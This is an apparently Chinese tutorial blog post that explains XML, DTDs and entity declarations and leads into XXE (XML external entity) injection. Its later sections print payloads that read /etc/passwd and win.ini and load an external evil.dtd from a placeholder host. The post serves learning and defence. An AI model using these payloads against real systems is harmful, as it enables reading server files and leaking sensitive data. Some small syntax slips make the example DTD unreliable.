什么是XML?
XML:extensiable markup language 被称作可扩展标记语言
可扩展标记语言:标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输。
XML简单的历史介绍:
- gml->sgml->html->xml
- gml(通用标记语言)–在不同的机器进行通信的数据规范
- sgml(标准通用标记语言)
- html(超文本标记语言)
为什么我们需要使用XML呢?
- 我们没有XML这种语言之前,我们使用的是String作为两个程序之间的通讯!现在问题就来了,如果我们传输的是带有关系型结构的数据,String怎么表达呢?String对关系型数据不擅长,要是描述起来也难免会有歧义的时候!关系型数据如图下所示:
- HTML语言本身就有缺陷:
- 标记都是固定的,不能自定义。HTML语言中有什么标记就只能用什么标记
- HTML标签本身就缺少含义(tr标签里面什么内容都能放进去,不规范!!)
- HTML没有实现真正的国际化
XML文件就解决了以上的问题了,如果使用XML描述上述图片的关系,是非常简单的!
<?xml version="1.0" encoding="UTF-8" ?>
<中国>
<北京>
<海淀></海淀>
<丰台></丰台>
</北京>
<湖南>
<长沙></长沙>
<岳阳></岳阳>
</湖南>
<湖北>
<武汉></武汉>
<荆州></荆州>
</湖北>
</中国>
在浏览器中打开就是:
xml是一种格式规范
是一种包含了数据以及数据说明的文本格式规范。
接下来煮几个栗子说明一下。
比如,我们要给对方传输一段数据,数据内容是“too young,too simple,sometimes naive”
,要将这段话按照属性拆分为三个数据的话,
就是,年龄too young,阅历too simple,结果sometimes naive。
我们都知道程序不像人,可以体会字面意思,并自动拆分出数据,因此,我们需要帮助程序做拆分,因此出现了各种各样的数据格式以及拆分方式。
比如,可以是这样的数据为“too young,too simple,sometimes naive”
然后按照逗号拆分,第一部分为年龄,第二部分为阅历,第三部分为结果。
也可以是这样的数据为“too_young**too_simple*sometimes_naive”
从数据开头开始截取前面十一个字符,去掉号并把下划线替换为空格作为第一部分,再截取接下来的十一个字符同样去掉并替换下划线为空格作为第二部分,最后把剩下的字符同样去*号体会空格作为第三部分。
这两种方式都可以用来容纳数据并能够被解析,但是不直观,通用性也不好,而且如果出现超过限定字数的字符串就容纳不了,也可能出现数据本身就下划线字符导致需要做转义。
基于这种情况,出现了xml这种数据格式, 上面的数据用XML表示的话可以是这样
<person age="too young" experience="too simple" result="sometimes naive" />也可以是这样<person>
<age value="too young" />
<experience value="too simple" />
<result value="sometimes naive" />
</person>
两种方式都是xml,都很直观,附带了对数据的说明,并且具备通用的格式规范可以让程序做解析。如果用json格式来表示的话,就是下面这样
{
"age":"too young",
"experience":"too simple",
"result":"sometimes naive"
}
看出来没,其实数据都是一样的,不同的只是数据的格式而已,同样的数据,我用xml格式传给你,你用xml格式解析出三个数据,用json格式传给你,你就用json格式解析出三个数据,还可以我本地保存的是xml格式的数据,我自己先解析出三个数据,然后构造成json格式传给你,你解析json格式,获得三个数据,再自己构造成xml格式保存起来,说白了,不管是xml还是json,都只是包装数据的不同格式而已,重要的是其中含有的数据,而不是包装的格式。
XML文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
那么既然上面定义了元素note(to,from,head,body),那么我们下面的标签就必须按照定义写了。所以说定义中的元素就对应了下面的标签!!那么当然定义中的实体即对应了标签中的内容!!
<!--文档元素 也可以叫标签-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
也可以定义外部DTD
<?xml version="1.0"?>
<!DOCTYPE root_element SYSTEM "DTD_location/message.dtd"> /这里定义外部DTD
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
CDATA
在编写XML文件时,有些内容可能不想让解析引擎解析执行,而是当作原始内容处理。遇到此种情况,可以把这些内容放在CDATA区里,对于CDATA区域内的内容,XML解析程序不会处理,而是直接原封不动的输出
文档声明:
XML声明放在XML的第一行
version----版本
encoding--编码
standalone--独立使用--默认是no。standalone表示该xml是不是独立的,如果是yes,则表示这个XML文档时独立的,不能引用外部的DTD规范文件;如果是no,则该XML文档不是独立的,表示可以引用外部的DTD规范文档。
正确的文档声明格式,属性的位置不能改变
<?xml version="1.0" encoding="utf-8" standalone="no"?>
DTD声明:
1.内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
2.使用SYSTEM的外部DTD:
<!DOCTYPE 根元素 SYSTEM "URL/URI" >
3.使用Public的外部DTD:
<!DOCTYPE 根元素 PUBLIC "public_ID" "URI">
DTD中的一些重要的关键字:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
DTD 中的实体声明:
1. 内部实体声明
<!ENTITY 实体名称 “实体的值”>
一个内部实体引用由三部分构成:&符号, 实体名称, 分号 ( ; ),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]> /此处定义了一个内部实体
<foo>&xxe;</foo>
2. 外部实体声明
外部实体也有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:
file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php
声明格式为
<!ENTITY 实体名称 SYSTEM “URI/URL”>
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。
我们上面已经把实体分为了外部和内部,暂且不讨论DTD,因为实体声明就是包含在DTD中。实体还可以分为参数实体和通用实体。前面内部和外部实体是从引用的方式来分类,而这里是从实体引用的位置来分类!
1. 通用实体声明
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
例如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
这是最常见的引用
2. 参数实体声明
- 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
- 只有在 DTD 文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]> /此处定义了个实体,并且在DTD中引用。而且引用的时候并未加标签。
<foo>&evil;</foo>
外部evil.dtd中的内容。
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
参考:
https://segmentfault.com/a/1190000013252686
https://www.zhihu.com/question/31353595
https://www.cnblogs.com/zhaijiahui/p/9147595.html